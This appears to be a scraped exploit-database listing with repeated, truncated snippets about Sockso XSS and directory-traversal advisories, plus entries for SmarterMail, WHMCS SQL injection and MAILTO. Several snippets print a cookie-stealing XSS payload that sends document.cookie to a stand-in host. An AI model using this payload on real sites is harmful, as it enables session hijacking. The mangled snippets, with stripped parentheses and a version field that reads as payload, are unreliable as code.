Sockso <=1.51 Persistent XSS Vulnerability

Exploit for php platform in category web applications Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image...

Sockso 1.51 - Persistent Cross-Site Scripting

Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

Sockso 1.51 Cross Site Scripting

Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

Sockso 1.51 - Persistent Cross-Site Scripting

Sockso 1.51 - Persistent Cross-Site Scripting Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

Sockso <= 1.5 Directory Traversal

Exploit for windows platform in category web applications Luigi Auriemma Application: Sockso http://sockso.pu-gh.com Versions: = 1.5 Platforms: Windows, Mac, Linux Bug: directory traversal Exploitation: remote Date: 14 Mar 2012 Author: Luigi Auriemma e-mail: email protected web: aluigi.org 1...

Sockso Music Host Server 1.5 Directory Traversal

This module exploits a directory traversal bug in Sockso on port 4444. This is done by using "../" in the path to retrieve a file on a vulnerable machine. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class...

sockso 1.5 - Directory Traversal

sockso 1.5 - Directory Traversal Luigi Auriemma Application: Sockso http://sockso.pu-gh.com Versions: = 1.5 Platforms: Windows, Mac, Linux Bug: directory traversal Exploitation: remote Date: 14 Mar 2012 Author: Luigi Auriemma e-mail: [email protected] web: aluigi.org 1 Introduction 2 Bug 3 The...

SmarterMail 7.1.3876 Directory Traversal

Vendor: smartertools.com SmarterMail 7.x 7.1.3876 | Bug : Directory Traversal, OS Command Injection, Other Critcal Vulns Vendor: smartertools.com SmarterMail 7.x 7.1.3876 Date: 2010-09-12 Author : sqlhacker – http://cloudscan.me Thanks to : Burp Suite Pro - engagement tool : FuzzDB Contact :...

WHMCompleteSolution CMS - SQL Injection

WHMCompleteSolution CMS - SQL Injection ALGERIAN HACKER - NORTH-AFRICA SECURITY TEAM - ! WHMCompleteSolution CMS sql Injection Vulnerability ! Author : Dr.0rYX and Cr3w-DZ ! MAIL : [email protected] & [email protected] / Software Information + Vendor : http://www.siamhostserver.com/whmcs/ + script :...

Brian Dorricott MAILTO 1.0.7-9 - Unauthorized Mail Server Use

Brian Dorricott MAILTO 1.0.7-9 - Unauthorized Mail Server Use source: https://www.securityfocus.com/bid/3669/info MAILTO is a program maintained by Brian Dorricott. It enables web servers to allow forms to be converted into mail messages that can be sent to numerous recipients. An issue exists in...